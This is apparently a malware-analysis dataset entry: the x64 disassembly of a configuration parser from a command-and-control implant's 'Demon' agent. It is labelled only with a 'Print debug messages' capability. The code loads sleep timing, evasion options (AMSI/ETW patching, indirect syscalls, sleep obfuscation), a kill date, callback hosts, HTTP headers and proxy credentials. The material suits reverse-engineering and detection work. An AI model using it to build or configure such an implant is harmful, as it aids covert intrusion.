Function at 0x14000fed0
Capabilities:
Print debug messages

Disassembly:
push r15
xor eax, eax
mov ecx, 8
mov r9d, 0x246
push r14
mov r8d, 0x245
push r13
lea r13, str.DemonConfig
push r12
mov rdx, r13
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rdi, [rsp + 0x50]
lea r12, [rsp + 0x50]
mov dword [rsp + 0x4c], 0
rep stosd dword [rdi], eax
lea rcx, str._DEBUG::_s::_d__Config_Size:__d_n
lea rdi, [0x140026200]
call sym.DbgPrint
mov rcx, r12
mov r8d, 0x246
mov rdx, rdi
call sym.ParserNew
mov ecx, 0x246
xor eax, eax
rep stosb byte [rdi], al
mov rcx, r12
lea r14, [rsp + 0x4c]
call sym.ParserGetInt32
mov rdx, qword [0x140026448]
mov rcx, r12
mov dword [rdx + 0x60], eax
call sym.ParserGetInt32
mov rdx, qword [0x140026448]
mov r8d, 0x24c
lea rcx, str._DEBUG::_s::_d__Sleep:__d___d____n
mov r9d, dword [rdx + 0x60]
mov dword [rdx + 0x64], eax
mov rdx, r13
mov dword [rsp + 0x20], eax
call sym.DbgPrint
mov rcx, r12
call sym.ParserGetInt32
mov rdx, qword [0x140026448]
mov rcx, r12
mov dword [rdx + 0xfc], eax
call sym.ParserGetInt32
mov rdx, qword [0x140026448]
mov r8d, 0x251
lea rcx, str._DEBUG::_s::_d___CONFIG__Memory:__n___Allocate:__d___n___Execute_:__d___n
mov r9d, dword [rdx + 0xfc]
mov dword [rdx + 0x100], eax
mov rdx, r13
mov dword [rsp + 0x20], eax
call sym.DbgPrint
mov rdx, r14
mov rcx, r12
call sym.ParserGetBytes
mov rbx, qword [0x140026448]
mov edx, dword [rsp + 0x4c]
mov ecx, 0x40
mov rsi, rax
call qword [rbx + 0x3a8]
mov ecx, dword [rsp + 0x4c]
mov rdx, r14
mov qword [rbx + 0x104], rax
mov rax, qword [0x140026448]
mov rax, qword [rax + 0x104]
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov rcx, r12
call sym.ParserGetBytes
mov rbx, qword [0x140026448]
mov edx, dword [rsp + 0x4c]
mov ecx, 0x40
mov rsi, rax
call qword [rbx + 0x3a8]
mov ecx, dword [rsp + 0x4c]
mov r8d, 0x261
mov rdx, r13
mov qword [rbx + 0x10c], rax
mov rax, qword [0x140026448]
mov rax, qword [rax + 0x10c]
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
lea rcx, str._DEBUG::_s::_d___CONFIG__Spawn:__n____x64_____ls___n____x86_____ls___n
mov rax, qword [0x140026448]
mov r9, qword [rax + 0x104]
mov rax, qword [rax + 0x10c]
mov qword [rsp + 0x20], rax
call sym.DbgPrint
mov rcx, r12
call sym.ParserGetInt32
mov rdx, qword [0x140026448]
mov rcx, r12
mov dword [rdx + 0xd2], eax
call sym.ParserGetInt32
mov rbx, qword [0x140026448]
mov rcx, r12
mov dword [rbx + 0xd6], eax
call sym.ParserGetInt32
mov rcx, r12
mov dword [rbx + 0xda], eax
call sym.ParserGetInt32
mov rbx, qword [0x140026448]
mov rcx, r12
mov byte [rbx + 0xe2], al
call sym.ParserGetInt32
mov rcx, r12
mov dword [rbx + 0xde], eax
call sym.ParserGetInt32
mov rdx, qword [0x140026448]
lea r8, str.FALSE
lea rcx, str.TRUE
mov r11, r8
cmp dword [rdx + 0xde], 0
movzx r10d, byte [rdx + 0xe2]
mov byte [rdx + 0xe3], al
movzx eax, al
cmovne r11, rcx
cmp dword [rdx + 0xda], 0
mov r9d, dword [rdx + 0xd2]
mov dword [rdx + 0xf8], 0x80000
cmove rcx, r8
mov dword [rsp + 0x38], eax
mov r8d, 0x275
mov rdx, r13
mov qword [rsp + 0x30], r11
mov dword [rsp + 0x28], r10d
mov qword [rsp + 0x20], rcx
lea rcx, str._DEBUG::_s::_d___CONFIG__Sleep_Obfuscation:__n___Technique:__d__n___Stack_Dup:__s__n_CONFIG__ProxyLoading:__d_n_CONFIG__SysIndirect_:__s_n_CONFIG__AmsiEtwPatch:__d_n
call sym.DbgPrint
mov rcx, r12
call sym.ParserGetInt64
mov r8d, 0x285
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__KillDate:__d_n
mov r9, rax
mov rax, qword [0x140026448]
mov qword [rax + 0x68], r9
call sym.DbgPrint
mov rax, qword [0x140026448]
cmp qword [rax + 0x68], 0
je 0x1400101b2
call sym.GetSystemFileTime
mov r8, rax
mov rax, qword [0x140026448]
cmp r8, qword [rax + 0x68]
jb 0x1400101b2
xor ecx, ecx
call qword [rax + 0x170]
mov rcx, r12
call sym.ParserGetInt32
mov rdx, qword [0x140026448]
mov rcx, r12
mov dword [rdx + 0x70], eax
mov rdx, r14
call sym.ParserGetBytes
mov rbx, qword [0x140026448]
mov rsi, rax
mov eax, dword [rsp + 0x4c]
lea ecx, [rax + 2]
call sym.MmHeapAlloc
mov ecx, dword [rsp + 0x4c]
mov qword [rbx + 0x88], rax
mov rax, qword [0x140026448]
mov rax, qword [rax + 0x88]
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov rcx, r12
xor esi, esi
lea rdi, str._DEBUG::_s::_d______ls:_ld_n
call sym.ParserGetInt32
mov rcx, r12
mov r8d, eax
mov rax, qword [0x140026448]
mov word [rax + 0x90], r8w
mov dword [rax + 0x96], 0
mov qword [rax + 0x7c], 0
mov qword [rax + 0x74], 0
call sym.ParserGetInt32
mov r8d, 0x29b
mov rdx, r13
lea rcx, str._DEBUG::_s::_d___CONFIG__Hosts___d__n:
mov r9d, eax
mov ebx, eax
call sym.DbgPrint
cmp ebx, esi
je 0x1400102ad
mov rdx, r14
mov rcx, r12
call sym.ParserGetBytes
mov rcx, r12
mov r15, rax
call sym.ParserGetInt32
mov rdx, r13
mov r9, r15
mov rcx, rdi
mov dword [rsp + 0x20], eax
mov r8d, 0x2a1
mov ebp, eax
call sym.DbgPrint
mov edx, dword [rsp + 0x4c]
test edx, edx
je 0x1400102a9
mov r8d, ebp
mov rcx, r15
call sym.HostAdd
inc esi
jmp 0x140010262
mov rbx, qword [0x140026448]
call sym.HostCount
mov r8d, 0x2aa
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__Hosts_added____d_n
mov dword [rbx + 0x84], eax
mov rax, qword [0x140026448]
mov r9d, dword [rax + 0x84]
call sym.DbgPrint
mov rbx, qword [0x140026448]
movsx ecx, word [rbx + 0x90]
call sym.HostRotation
mov r8d, 0x2ae
lea rcx, str._DEBUG::_s::_d__Host_going_to_be_used_is____ls:_ld_n
mov qword [rbx + 0x74], rax
mov rax, qword [0x140026448]
mov rax, qword [rax + 0x74]
mov edx, dword [rax + 8]
mov dword [rsp + 0x20], edx
mov r9, qword [rax]
mov rdx, r13
call sym.DbgPrint
mov rcx, r12
call sym.ParserGetInt32
mov rdx, qword [0x140026448]
lea r9, str.TRUE
mov r8d, 0x2b2
test eax, eax
lea rcx, str._DEBUG::_s::_d___CONFIG__Secure:__s_n
mov dword [rdx + 0x9a], eax
lea rax, str.FALSE
mov rdx, r13
cmove r9, rax
xor r15d, r15d
call sym.DbgPrint
mov rdx, r14
mov rcx, r12
call sym.ParserGetBytes
mov rbx, qword [0x140026448]
mov rsi, rax
mov eax, dword [rsp + 0x4c]
lea ecx, [rax + 2]
call sym.MmHeapAlloc
mov ecx, dword [rsp + 0x4c]
mov r8d, 0x2b8
mov rdx, r13
mov qword [rbx + 0x9e], rax
mov rax, qword [0x140026448]
mov rax, qword [rax + 0x9e]
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
lea rcx, str._DEBUG::_s::_d___CONFIG__UserAgent:__ls_n
mov rax, qword [0x140026448]
mov r9, qword [rax + 0x9e]
call sym.DbgPrint
mov rcx, r12
call sym.ParserGetInt32
mov rsi, qword [0x140026448]
lea ebp, [rax + 1]
mov ebx, eax
mov ecx, ebp
shl ecx, 4
call sym.MmHeapAlloc
mov r9d, ebx
mov rdx, r13
mov r8d, 0x2bd
mov qword [rsi + 0xae], rax
lea rcx, str._DEBUG::_s::_d___CONFIG__Headers___d_:_n
call sym.DbgPrint
cmp ebx, r15d
jbe 0x14001049f
mov rdx, r14
mov rcx, r12
call sym.ParserGetBytes
mov rsi, rax
mov rax, qword [0x140026448]
mov rax, qword [rax + 0xae]
lea rdi, [rax + r15*8]
mov eax, dword [rsp + 0x4c]
lea ecx, [rax + 2]
call sym.MmHeapAlloc
mov ecx, dword [rsp + 0x4c]
mov qword [rdi], rax
mov rax, qword [0x140026448]
mov rax, qword [rax + 0xae]
mov rdi, qword [rax + r15*8]
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [0x140026448]
mov ecx, dword [rsp + 0x4c]
mov r8d, 0x2c5
mov rdx, r13
mov rax, qword [rax + 0xae]
mov rax, qword [rax + r15*8]
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
lea rcx, str._DEBUG::_s::_d_______ls_n
mov rax, qword [0x140026448]
mov rax, qword [rax + 0xae]
mov r9, qword [rax + r15*8]
inc r15
call sym.DbgPrint
jmp 0x140010403
mov rax, qword [0x140026448]
mov rcx, r12
xor r15d, r15d
mov rax, qword [rax + 0xae]
mov qword [rax + rbp*8], 0
call sym.ParserGetInt32
mov rsi, qword [0x140026448]
lea ebp, [rax + 1]
mov ebx, eax
mov ecx, ebp
shl ecx, 4
call sym.MmHeapAlloc
mov r9d, ebx
mov rdx, r13
mov r8d, 0x2cd
mov qword [rsi + 0xa6], rax
lea rcx, str._DEBUG::_s::_d___CONFIG__Uris___d_:_n
call sym.DbgPrint
cmp ebx, r15d
jbe 0x140010595
mov rdx, r14
mov rcx, r12
call sym.ParserGetBytes
mov rsi, rax
mov rax, qword [0x140026448]
mov rax, qword [rax + 0xa6]
lea rdi, [rax + r15*8]
mov eax, dword [rsp + 0x4c]
lea ecx, [rax + 2]
call sym.MmHeapAlloc
mov ecx, dword [rsp + 0x4c]
mov qword [rdi], rax
mov rax, qword [0x140026448]
add rcx, 2
mov rax, qword [rax + 0xa6]
mov rdi, qword [rax + r15*8]
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [0x140026448]
mov ecx, dword [rsp + 0x4c]
mov r8d, 0x2d5
mov rdx, r13
mov rax, qword [rax + 0xa6]
mov rax, qword [rax + r15*8]
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
lea rcx, str._DEBUG::_s::_d_______ls_n
mov rax, qword [0x140026448]
mov rax, qword [rax + 0xa6]
mov r9, qword [rax + r15*8]
inc r15
call sym.DbgPrint
jmp 0x1400104f5
mov rbx, qword [0x140026448]
mov rcx, r12
mov rax, qword [rbx + 0xa6]
mov qword [rax + rbp*8], 0
call sym.ParserGetInt32
lea rcx, str._DEBUG::_s::_d___s_n
mov dword [rbx + 0xb6], eax
mov rax, qword [0x140026448]
cmp dword [rax + 0xb6], 0
je 0x14001072d
lea r9, str._CONFIG___PROXY__Enabled
mov r8d, 0x2de
mov rdx, r13
call sym.printf.constprop.0_7
mov rdx, r14
mov rcx, r12
call sym.ParserGetBytes
mov rbx, qword [0x140026448]
mov rsi, rax
mov eax, dword [rsp + 0x4c]
lea ecx, [rax + 2]
call sym.MmHeapAlloc
mov ecx, dword [rsp + 0x4c]
mov r8d, 0x2e2
mov rdx, r13
mov qword [rbx + 0xba], rax
mov rax, qword [0x140026448]
mov rax, qword [rax + 0xba]
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
lea rcx, str._DEBUG::_s::_d___CONFIG___PROXY__Url:__ls_n
mov rax, qword [0x140026448]
mov r9, qword [rax + 0xba]
call sym.DbgPrint
mov rcx, r12
mov rdx, r14
call sym.ParserGetBytes
mov ecx, dword [rsp + 0x4c]
mov rbx, qword [0x140026448]
mov rsi, rax
test ecx, ecx
je 0x1400106b0
call sym.MmHeapAlloc
mov ecx, dword [rsp + 0x4c]
mov r8d, 0x2e9
mov rdx, r13
mov qword [rbx + 0xc2], rax
mov rax, qword [0x140026448]
mov rax, qword [rax + 0xc2]
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
lea rcx, str._DEBUG::_s::_d___CONFIG___PROXY__Username:__ls_n
mov rax, qword [0x140026448]
mov r9, qword [rax + 0xc2]
call sym.DbgPrint
jmp 0x1400106bb
mov qword [rbx + 0xc2], 0
mov rcx, r12
mov rdx, r14
call sym.ParserGetBytes
mov ecx, dword [rsp + 0x4c]
mov rbx, qword [0x140026448]
mov rsi, rax
test ecx, ecx
je 0x140010720
call sym.MmHeapAlloc
mov ecx, dword [rsp + 0x4c]
mov r8d, 0x2f3
mov rdx, r13
mov qword [rbx + 0xca], rax
mov rax, qword [0x140026448]
mov rax, qword [rax + 0xca]
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
lea rcx, str._DEBUG::_s::_d___CONFIG___PROXY__Password:__ls_n
mov rax, qword [0x140026448]
mov r9, qword [rax + 0xca]
call sym.DbgPrint
jmp 0x140010742
mov qword [rbx + 0xca], 0
jmp 0x140010742
lea r9, str._CONFIG___PROXY__Disabled
mov r8d, 0x2fa
mov rdx, r13
call sym.printf.constprop.0_7
mov rax, qword [0x140026448]
mov rcx, r12
mov rsi, qword [rax + 0x130]
mov dword [rax + 0x114], 2
lea rdx, [rsi + 0x12]
mov qword [rax + 0xe8], rdx
call sym.ParserDestroy
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret